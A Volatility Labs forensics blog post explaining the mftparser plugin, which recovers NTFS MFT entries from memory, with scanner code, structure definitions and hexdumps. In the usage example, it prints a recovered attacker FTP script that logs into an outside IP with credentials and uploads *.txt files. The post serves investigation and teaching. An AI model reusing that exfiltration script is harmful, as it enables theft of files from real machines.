Volatility Labs

Friday, May 24, 2013

MoVP II - 2.4 - Reconstructing Master File Table (MFT) Entries

Today's blogpost will cover the new `mftparser` plugin for Volatility. As we demonstrated in the GRRCon Challenge writeup, this plugin can come in quite handy in an investigation and also played a small part in the last MoVP blogpost.

Why This Plugin Was Created

During an investigation some time back, I realized that Master File Table (MFT) entries resided in memory when I found strings in memory that contained filenames of interest. Examination of these strings showed that they were MFT entries. Parsing them by hand or dumping the raw entries and parsing them with analyzeMFT.py or other tools proved useful in some instances. Several investigations since, I have recovered entries relevant to an investigation. As much fun as it is to parse or dump these manually, it made sense to write a plugin to automate much of the hard work.

Methodology

Reading Brian Carrier's book "File System Forensic Analysis" [1] is essential for understanding the structures of the NTFS filesystem and this resource was <u>heavily</u> used in the making of this plugin. There are structures (vtypes) defined in the plugin for several of the MFT attributes, including those that are not yet supported. We will cover some supported attributes in this blogpost.

In order to find something in a memory sample, you must either know where it normally resides in memory or what defining features it has so that you may compose a signature to scan for it. So what does an MFT entry "look like"? Lets look at a typical entry below

```
001d000: 4649 4c45 3000 0300 3887 df01 0000 0000  FILE0...8.......
001d010: 1300 0100 3800 0100 5801 0000 0004 0000  ....8...X.......
001d020: 0000 0000 0000 0000 0400 0000 bc2c 0000  .............,..
001d030: 0800 0000 0000 0000 1000 0000 6000 0000  ............`...
001d040: 0000 0000 0000 0000 4800 0000 1800 0000  ........H.......
001d050: f843 fc35 96b6 ca01 003d 1c95 3d1e c301  .C.5.....=..=...
001d060: beab df3d 96b6 ca01 329e 043a 96b6 ca01  ...=....2..:....
001d070: 2100 0000 0000 0000 0000 0000 0000 0000  !...............
001d080: 0000 0000 7301 0000 0000 0000 0000 0000  ....s...........
001d090: 0000 0000 0000 0000 3000 0000 7000 0000  ........0...p...
001d0a0: 0000 0000 0000 0200 5400 0000 1800 0100  ........T.......
001d0b0: ae2c 0000 0000 0100 f843 fc35 96b6 ca01  .,.......C.5....
001d0c0: f843 fc35 96b6 ca01 f843 fc35 96b6 ca01  .C.5.....C.5....
001d0d0: f843 fc35 96b6 ca01 0000 0000 0000 0000  .C.5............
001d0e0: 0000 0000 0000 0000 2000 0000 0000 0000  ........ .......
```

MFT entries begin with one of two signatures: "FILE" or "BAAD". Normal entries start with the "FILE" signature and entries with errors have the "BAAD" signature [1]. Therefore, these are signatures that we want to use for scanning in memory. For this plugin we will choose a "physical" scan because some entries may not be actively used in memory. So let's set up the scanner:

```
class MFTScanner(scan.BaseScanner):
   checks = [ ]

   def __init__(self, needles = None):
       self.needles = needles
       self.checks = [ ("MultiStringFinderCheck", {'needles':needles})]
       scan.BaseScanner.__init__(self)

   def scan(self, address_space, offset = 0, maxlen = None):
```

Volatility Links

- The Art of Memory Forensics
- Memory Analysis Site
- Volatility Training (Reston 10/2014)
- Volatility Training (London 6/2014)
- Volatility Training (New York 5/2014)
- 2013 Plugin Contest
- Code Repository

Volatility on Twitter

Tweets Follow

NYC4SEC @NYC4SEC 10h
Wow! 57 #InfoSec & #DFIR professionals RSVP'd for the @volatility Meet-up this Thur, 5/8: ow.ly/wxO1F Still time to RSVP
Retweeted by volatility
Show Summary

Andrew Case @attrc 6h
Very excited to have been accepted in the first round of speakers at @sectorca !! @volatility #dfir
Retweeted by volatility
Expand

volatility @volatility 14m
"@jnettesheim: Awesome first two days of @volatility training in nyc, going to dream in volshell" #DFIR < sweet dreams :-)

volatility @volatility 8h
We are very happy to be a

Tweet to @volatility

Blog Archive

```
10        for offset in scan.BaseScanner.scan(self, address_space, offset, maxlen):
11            yield offset
12
13
14 class MFTParser(common.AbstractWindowsCommand):
15     """ Scans for and parses potential MFT entries """
16 [snip]
17
18     def calculate(self):
19         address_space = utils.load_as(self._config, astype = 'physical')
20         scanner = MFTScanner(needles = ['FILE', 'BAAD'])
   [snip]
```

In line (1) we see the declaration for our scanner (`MFTScanner`) and it inherits `BaseScanner`, which contains the guts for scanning in for items in memory. In line (4) we see the `__init__` function which contains arguments to this class. Highlighted in **red** is `needles` which specifies the pattern that we are scanning for in memory. We see a reference to `needles` again on line (6), where these patterns are verified by the scanner. Lines 9-11 define the `scan` method, which searches through memory for the requested patterns and yields the physical offset (line 11) where the pattern is found if it passes the checks described in line (6). Lines 14+ define the `MFTParser` plugin and line (20) shows how the scanner is defined. You can see the `needles` definition: `['FILE', 'BAAD']`.

MFT Entry

So now we have a mechanism for finding potential MFT entries, but what do we do once we find them? We need to know how to represent the MFT entry and its attributes. The structures for these are defined in [1] starting on page 353. First let's look at the entry in general. MFT entries are normally 1024 bytes, however the size (which is found in the boot sector) may differ ([1] page 276). The entry is comprised of the following:

- An MFT Header
- Attributes
  - Attribute Header
  - Attribute Content
- Unused Space (possibly)

The MFT header contains information about the entry including the offset of the first attribute (highlighted in **blue** below), which we use as a starting point for parsing the entry's attributes. There are other items of interest, such as the `Signature` which should be either "`FILE`" or "`BAAD`", `EntryUsedSize`, `EntryAllocatedSize`, `Flags` and `RecordNumber` among others.

```
'MFT_FILE_RECORD': [ 0x400, {
    'Signature': [ 0x0, ['unsigned int']],
    'FixupArrayOffset': [ 0x4, ['unsigned short']],
    'NumFixupEntries': [ 0x6, ['unsigned short']],
    'LSN': [ 0x8, ['unsigned long long']],
    'SequenceValue': [ 0x10, ['unsigned short']],
    'LinkCount': [ 0x12, ['unsigned short']],
    'FirstAttributeOffset': [0x14, ['unsigned short']],
    'Flags': [0x16, ['unsigned short']],
    'EntryUsedSize': [0x18, ['int']],
    'EntryAllocatedSize': [0x1c, ['unsigned int']],
    'FileRefBaseRecord': [0x20, ['unsigned long long']],
    'NextAttributeID': [0x28, ['unsigned short']],
    'RecordNumber': [0x2c, ['unsigned long']],
    'FixupArray': lambda x: obj.Object("Array", offset = x.obj_offset + x.FixupArra
                                 target = obj.Curry(obj.Object, "unsigned short"
    'ResidentAttributes': lambda x : obj.Object("RESIDENT_ATTRIBUTE", offset = x.ob
    'NonResidentAttributes': lambda x : obj.Object("NON_RESIDENT_ATTRIBUTE", offset
}],
```

As you may have noticed, I did not include the traditional "`dt`" output from the `volshell` plugin for this structure. This is because this command does not work for structures that do not have concrete

Contributors

definitions. In this case, lines 15-18 are the culprits. The offsets for these members are dependant upon values of other members. One thing that wasn't clear to me at first (as you can see in issue 138) was that the offset had to be the offset of the object itself plus the value of the member, for example `offset = x.obj_offset + x.FixupArrayOffset` from line (15) above. Since we don't know for sure if the first attribute is resident, we have a union of `ResidentAttributes` and `NonResidentAttributes` so we can pick the appropriate one.

Attributes

Attributes are containers for describing metadata of the MFT entry. They are either *Resident* or *Non-resident*. If the attrribute is *Resident*, then the content is contained in the MFT entry, otherwise if it is *Non-resident* then the content is stored in an external cluster on the system [1]. At this time *Non-resident* attributes are not processed by the plugin since not all pieces are guaranteed to be present in memory. Also there is no guaranteed method yet for searching for and piecing together these pieces even if they are memory resident. Consider how things work on the disk, where it is clear where the body lies:

```
MFT Entry

    +----+----+--------------+----+--------------------------------+
    |MMMM|AAAA|CCCCCCCCCCCCCC|AAAA|UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU|
    +----+----+--------------+----+--------------------------------+
                               \    +-------+
                                +---|cluster|
                                    | 809   |
                                    +-------+
M - MFT Header
A - Attribute Header           Figure from page 280 of [1]
C - Attribute Content
U - Unused space
```

In the awesome ASCII art figure above we can see that the content is found in cluster 809. To complicate things further, attribute contents can take up several clusters in "cluster runs" [1]. So the content can be scattered about on the filesystem, the key to piecing it together is found in the attribute headers. Finding a lone cluster in memory is not helpful since there is no known way to figure out to which file it might belong. Therefore files that have `Non-resident $DATA` attributes (most files) will not be content-recoverable from memory using an MFT entry. (One thing to note is that with the release of the new `dumpfiles` plugin, we have a way to obtain these files from memory).

Each attribute has a header, which tells you the `Type` of attribute, `Length` as well as if it is Resident or Non-Resident (`NonResidentFlag`):

```
>>> dt("ATTRIBUTE_HEADER")
'ATTRIBUTE_HEADER' (16 bytes)
0x0   : Type                        ['int']
0x4   : Length                      ['int']
0x8   : NonResidentFlag             ['unsigned char']
0x9   : NameLength                  ['unsigned char']
0xa   : NameOffset                  ['unsigned short']
0xc   : Flags                       ['unsigned short']
0xe   : AttributeID                 ['unsigned short']
```

If the attribute is Resident we have the following types (below). Members of interest include the `ContentSize` and the `ContentOffset` which are self-describing. We also have a union of our possible supported attributes:

```
'RESIDENT_ATTRIBUTE': [0x16, {
    'Header': [0x0, ['ATTRIBUTE_HEADER']],
    'ContentSize': [0x10, ['unsigned int']], #relative to the beginning of the attr
    'ContentOffset': [0x14, ['unsigned short']],
    'STDInfo': lambda x : obj.Object("STANDARD_INFORMATION", offset = x.obj_offset
    'FileName': lambda x : obj.Object("FILE_NAME", offset = x.obj_offset + x.Conten
    'ObjectID': lambda x : obj.Object("OBJECT_ID", offset = x.obj_offset + x.Conten
    'AttributeList':lambda x : obj.Object("ATTRIBUTE_LIST", offset = x.obj_offset +
}],
```

Michael Hale Ligh

Andrew Case

Jamie Levy

Blogroll

JL's stuff
Volatility Talk at Upcoming NYC4SEC - The Volatility team will give a talk at the next NYC4SEC meetup on memory forensics on May 8th, 2014 at John Jay College. Make sure to RSVP if you are pla...
3 weeks ago

Memory Forensics
Building a Decoder for the CVE-2014-0502 Shellcode - Yesterday on the Volatility Labs blog I published a post on analyzing some interesting shellcode from a recent attack campaign and 0day exploit. The shellc...
3 weeks ago

MNIN Security Blog
How to DoS Authenticode Signature Verification and Spoil Live Forensics with Echo - A while back I was looking into some internals of Microsoft's Authenticode and found a way to prevent signature verification by creating a specially named ...
11 months ago

Push the Red Button
PANDA, Reproducibility, and Open Science - *tl;dr*: PANDA now supports detached replays (you don't need the underlying VM image to run a replay), and they can be shared at a new site called PANDA Sh...
3 months ago

Volatility
Volatility Skills in High Demand! - Volatility Skills in High Demand!: We frequently get inquiries from companies looking to recruit people with Volatility skills. As an example, check out ...
4 months ago

There are a lot of attribute types and not all of them are supported yet in the `mftparser` plugin. There are obvious reasons for this: lack of time, lack of research, usefulness, etc. However most of the attributes have defined vtypes so that the plugin can be extended. Here we will cover the attribute types that are currently supported.

$STANDARD_INFORMATION

This attribute exists for all files and directories [1] and contains important information including MAC times for the MFT entry in question. Other items that may be of interest include the `OwnerID`, `SecurityID` and `Flags`. The definition for `STANDARD_INFORMATION` can be seen below:

```
>>> dt("STANDARD_INFORMATION")
'STANDARD_INFORMATION' (72 bytes)
0x0   : CreationTime                   ['WinTimeStamp', {}]
0x8   : ModifiedTime                   ['WinTimeStamp', {}]
0x10  : MFTAlteredTime                 ['WinTimeStamp', {}]
0x18  : FileAccessedTime               ['WinTimeStamp', {}]
0x20  : Flags                          ['int']
0x24  : MaxVersionNumber               ['unsigned int']
0x28  : VersionNumber                  ['unsigned int']
0x2c  : ClassID                        ['unsigned int']
0x30  : OwnerID                        ['unsigned int']
0x34  : SecurityID                     ['unsigned int']
0x38  : QuotaCharged                   ['unsigned long long']
0x40  : USN                            ['unsigned long long']
0x48  : NextAttribute                  ['RESIDENT_ATTRIBUTE']
```

This attribute has a `Type` value of 0x10 in the `ATTRIBUTE_HEADER` and we can see a hexdump example below. The part highlighted in **red** denotes the `ATTRIBUTE_HEADER` and the part highlighted in **blue** denotes the `RESIDENT_ATTRIBUTE`. The rest of the dump is the content for the `$STANDARD_INFORMATION` attribute itself as defined above, except for the last line, which is the `NextAttribute`, in this case a `$FILE_NAME` attribute.

```
0207508: 1000 0000 6000 0000 0000 0000 0000 0000  ....`...........
0207518: 4800 0000 1800 0000 2dc5 d229 e6b7 ca01  H.......-..)....
0207528: 2dc5 d229 e6b7 ca01 2dc5 d229 e6b7 ca01  -..)....-..)....
0207538: 2dc5 d229 e6b7 ca01 2000 0000 0000 0000  -..).... .......
0207548: 0000 0000 0000 0000 0000 0000 7301 0000  ............s...
0207558: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0207568: 3000 0000 7800 0000 0000 0000 0000 0300  0...x...........
```

$FILE_NAME

Every MFT entry has at least one `$FILE_NAME` attribute [1]. This attribute contains important information such as the MAC times, the `Name` of the file, `Flags` (which are the same as the ones for `$STANDARD_INFORMATION`) and the `ParentDirectory` (which is used to determine the full path of the file). The definition for `FILE_NAME` can be seen below:

```
>>> dt("FILE_NAME")
'FILE_NAME' (None bytes)
0x0   : ParentDirectory              ['unsigned long long']
0x8   : CreationTime                 ['WinTimeStamp', {}]
0x10  : ModifiedTime                 ['WinTimeStamp', {}]
0x18  : MFTAlteredTime               ['WinTimeStamp', {}]
0x20  : FileAccessedTime             ['WinTimeStamp', {}]
0x28  : AllocatedFileSize            ['unsigned long long']
0x30  : RealFileSize                 ['unsigned long long']
0x38  : Flags                        ['unsigned int']
0x3c  : ReparseValue                 ['unsigned int']
0x40  : NameLength                   ['unsigned char']
0x41  : Namespace                    ['unsigned char']
0x42  : Name                         ['NullString', {'length': <function <lambda> at
```

This attribute has a `Type` value of 0x30 in the `ATTRIBUTE_HEADER` and an example can be seen below:

```
0207568: 3000 0000 7800 0000 0000 0000 0000 0300  0...x...........
0207578: 5a00 0000 1800 0100 532e 0000 0000 0100  Z.......S.......
0207588: 2dc5 d229 e6b7 ca01 2dc5 d229 e6b7 ca01  -..)....-..)....
0207598: 2dc5 d229 e6b7 ca01 2dc5 d229 e6b7 ca01  -..)....-..)....
02075a8: 0000 0000 0000 0000 0000 0000 0000 0000  ................
02075b8: 2000 0000 0000 0000 0c02 4d00 4100 5400   .........M.A.T.
02075c8: 4800 4600 4f00 7e00 3200 2e00 5000 5200  H.F.O.~.2...P.R.
02075d8: 4f00 3400 2e00 7000                      O.4...p.
```

$DATA

The `$DATA` attribute is structureless and can contain the data portion of the file, if Resident. There can be multiple `$DATA` attributes for an MFT entry, (for example, the "Summary" information file when you right-click on a file) [1]. When the file content exceeds the available space in the MFT entry (about 700 bytes [1]), the $DATA attribute becomes Non-Resident. It has been shown however, that file content "residue" can still linger in an MFT entry after the file content has grown outside maximum allocated size.

This attribute has an `ATTRIBUTE_HEADER Type` value of 0x80 and an example can be seen below:

```
026d598: 8000 0000 9001 0000 0000 1800 0000 0100  ................
026d5a8: 7401 0000 1800 0000 4749 4638 3961 1000  t.......GIF89a..
026d5b8: 1000 d537 005e 5d5d 3838 3833 3333 3535  ...7.^]]88833355
026d5c8: 3559 5858 5c5b 5b49 4848 4d4c 4c44 4444  5YXX\[[IHHMLLDDD
026d5d8: 3c3b 3c48 4848 3c3c 3b55 5555 5b5b 5b3c  <;<HHH<<;UUU[[[<
026d5e8: 3c3c b9b9 b95b 5b5a 7e7d 7db6 b6b6 5554  <<...[[Z~}}...UT
026d5f8: 54ab abab adad addc dcdc 5151 5144 4443  T.........QQQDDC
026d608: 3c3b 3bbe bdbd 4443 43bf bebe 3536 354d  <;;...DCC...565M
026d618: 4c4d b4b4 b456 5454 5958 5755 5554 4443  LM...VTTYXWUUTDC
026d628: 44df dfdf 5554 5551 5050 5150 5136 3535  D...UTUQPPQPQ655
026d638: 5655 55b8 b8b8 b8b8 b739 3839 3b3c 3b51  VUU......989;<;Q
026d648: 5150 5250 50ba b9b9 5c5a 5a3b 3b3c 3938  QPRPP...\ZZ;;<98
026d658: 385c 5a5b 5858 5856 5554 ffff ff00 0000  8\Z[XXXVUT......
026d668: 0000 0000 0000 0000 0000 0000 0000 0000  ................
026d678: 0000 0000 0021 f904 0100 0037 002c 0000  .....!.....7.,..
026d688: 0000 1000 1000 0006 91c0 9b70 482c 0e49  ...........pH,.I
026d698: 9408 60c9 8c50 4843 0e73 4ae5 dc34 0548  ..`..PHC.sJ..4.H
026d6a8: 8106 6914 6205 6fb8 a021 d408 8421 7a18  ..i.b.o..!...!z.
026d6b8: 22b4 19a0 89e8 36b9 9552 37c6 cdc6 1081  ".....6..R7.....
026d6c8: 1e27 1716 302f 4426 0f16 2e17 0f43 2a07  .'..0/D&.....C*.
026d6d8: 071e 908f 072b 4512 0606 0a0a 9899 9b12  .....+E.........
026d6e8: 431f 0808 1818 a21b 2323 1ba2 1f46 ad45  C.......##...F.E
026d6f8: 190b 0e0e b10b 0932 2d19 09ba 4233 012c  .......2-...B3.,
```

```
026d708: 01c0 c1c2 0142 0328 03c8 c903 1dcb c842  .....B.(.......B
026d718: 1502 d1d2 d3d1 15ae d741 003b 0000 0000  .........A.;....
026d728: ffff ffff
```

Other Types

There are vtype definitions for other MFT attributes that are outside the scope of this current blogpost, but can easily be expanded upon. Some of these items are:

- $ATTRIBUTE_LIST
- $OBJECT_ID
- $REPARSE_POINT
- $INDEX_ROOT
- $INDEX_ALLOCATION

... and others.

Usage

There is information in the wiki about how to use `mftparser`, but it is relatively simple. Basic usage is:

```
$ python vol.py -f [sample] mftparser -C --output-file=output.txt
```

The `-C` option allows you to skip MFT entries that have null (zeroed out) timestamps which may help remove false positives. By default `mftparser` outputs in verbose mode, which includes Resident `$DATA` for files. This is useful for small files, such as attacker scripts. For example from the GRRCon Challenge writeup:

```
MFT entry found at offset 0x15938800
Attribute: In Use & File
Record Number: 12030
Link count: 1


$STANDARD_INFORMATION
Creation                       Modified                       MFT Altered
------------------------------ ------------------------------ -------------------------
2012-04-28 02:01:43 UTC+0000 2012-04-28 02:01:43 UTC+0000   2012-04-28 02:01:43 UTC+000

$FILE_NAME
Creation                       Modified                       MFT Altered
------------------------------ ------------------------------ -------------------------
2012-04-28 02:01:43 UTC+0000 2012-04-28 02:01:43 UTC+0000   2012-04-28 02:01:43 UTC+000

$DATA
0000000000: 6f 70 65 6e 20 36 36 2e 33 32 2e 31 31 39 2e 33   open.66.32.119.3
0000000010: 38 0d 0a 6a 61 63 6b 0d 0a 32 61 77 65 73 30 6d   8..jack..2awes0m
0000000020: 65 0d 0a 6c 63 64 20 63 3a 5c 57 49 4e 44 4f 57   e..lcd.c:\WINDOW
0000000030: 53 5c 53 79 73 74 65 6d 33 32 5c 73 79 73 74 65   S\System32\syste
0000000040: 6d 73 0d 0a 63 64 20 20 2f 68 6f 6d 65 2f 6a 61   ms..cd../home/ja
0000000050: 63 6b 0d 0a 62 69 6e 61 72 79 0d 0a 6d 70 75 74   ck..binary..mput
0000000060: 20 22 2a 2e 74 78 74 22 0d 0a 64 69 73 63 6f 6e   ."*.txt"..discon
0000000070: 6e 65 63 74 0d 0a 62 79 65 0d 0a                  nect..bye..

***************************************************************************
```

In the above output we have a lot of information about the attacker script such as:
1) Timestamps which show when the file was created on the system as well as when it was last modified and accessed.
2) The path to the attacker's script.
3) The actual contents of the script!

We can now easily recover the script using `xxd` after copying the hex data into a file called "f.raw":

```
$ cat f.raw
0000000000: 6f 70 65 6e 20 36 36 2e 33 32 2e 31 31 39 2e 33   open.66.32.119.3
0000000010: 38 0d 0a 6a 61 63 6b 0d 0a 32 61 77 65 73 30 6d   8..jack..2awes0m
0000000020: 65 0d 0a 6c 63 64 20 63 3a 5c 57 49 4e 44 4f 57   e..lcd.c:\WINDOW
0000000030: 53 5c 53 79 73 74 65 6d 33 32 5c 73 79 73 74 65   S\System32\syste
0000000040: 6d 73 0d 0a 63 64 20 20 2f 68 6f 6d 65 2f 6a 61   ms..cd../home/ja
0000000050: 63 6b 0d 0a 62 69 6e 61 72 79 0d 0a 6d 70 75 74   ck..binary..mput
0000000060: 20 22 2a 2e 74 78 74 22 0d 0a 64 69 73 63 6f 6e   ."*.txt"..discon
0000000070: 6e 65 63 74 0d 0a 62 79 65 0d 0a                  nect..bye..

$ xxd -r f.raw
open 66.32.119.38
jack
2awes0me
lcd c:\WINDOWS\System32\systems
cd  /home/jack
binary
mput "*.txt"
disconnect
bye
```

Another usage option we have for `mftparser` is to obtain output in bodyfile format (3.x) for timelining, as demonstrated in MoVP 2.3. This just requires one more option (`--output=body`):

```
$ python vol.py -f [sample] mftparser --output=body -C --output-file=mftbodyfile.txt
```

Then we can take that output and create a timeline using the Sleuthkit `mactime` utility:

```
$ mactime -b mftbodyfile.txt -d > mactime.txt
```

Conclusion

As we can see there is value in analyzing MFT entries from memory. Such analysis provides more insight into files that were in use, created or executed on a machine, it is useful for use in timelining and can be used for acquiring small files, such as attacker scripts, from memory in a relatively efficient manner.

References

[1] *File System Forensic Analysis*, Brian Carrier ISBN: 0321268172

Posted by Jamie Levy at 1:36 PM

g+1 +6 Recommend this on Google

Labels: forensics, grrcon, movp, timelines, volatility, windows

No comments:

Post a Comment

Enter your comment...

Comment as: Google Accou ▼

Publish Preview

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)